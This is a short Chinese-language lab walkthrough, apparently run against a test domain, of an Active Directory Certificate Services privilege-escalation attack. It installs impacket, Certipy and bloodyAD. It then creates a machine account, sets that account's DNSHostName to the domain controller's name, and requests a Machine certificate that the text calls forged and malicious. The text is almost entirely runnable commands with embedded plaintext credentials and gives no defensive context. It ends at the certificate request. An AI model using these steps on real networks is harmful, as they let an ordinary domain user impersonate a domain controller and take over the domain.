准备工具
mkdir tools
git clone https://github.com/SecureAuthCorp/impacket
git clone https://github.com/ly4k/Certipy
git clone https://github.com/CravateRouge/bloodyAD
cd impacket
python3 setup.py install
cd ..
cd Certipy
python3 setup.py install
生成证书
certipy req 'bugfor.com/zhangfei:ZFpassword@123@dc.bugfor.com' -ca bugfor-WIN-NOEFDHGSK6T-CA -template User
验证证书可行性
certipy auth -pfx zhangfei.pfx
使用bloodyAD工具来创建机器账户。
查看ms-DS-MachineAccountQuota属性
如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d bugfor.com -u zhangfei -p 'ZFpassword@123' --host 192.168.122.129 getObjectAttributes 'DC=bugfor,DC=com' ms-DS-MachineAccountQuota
在LDAP中创建一个机器帐户
python3 bloodyAD.py -d bugfor.com -u zhangfei -p 'ZFpassword@123' --host 192.168.122.129 addComputer zhangfeiPC1 'ZFpassword@123'
更新机器帐户的DNS Host Name
将机器帐户的DNS Host Name改为域控的DC.bugfor.com
python3 bloodyAD.py -d bugfor.com -u zhangfei -p 'ZFpassword@123' --host 192.168.122.129 setAttribute 'CN=zhangfeiPC1,CN=Computers,DC=bugfor,DC=com' DNSHostName '["DC.bugfor.com"]'
验证
python3 bloodyAD.py -d bugfor.com -u zhangfei -p 'ZFpassword@123' --host 192.168.122.129 getObjectAttributes 'CN=zhangfeiPC1,CN=Computers,DC=bugfor,DC=com' DNSHostName
伪造恶意证书
运行Certipy生成机器证书,可以看到DNS Host Name已经变成了dc.bugfor.com:
certipy req 'bugfor.com/zhangfeiPC1$:ZFpassword@123@dc.bugfor.com' -ca 'bugfor-WIN-NOEFDHGSK6T-CA' -template Machine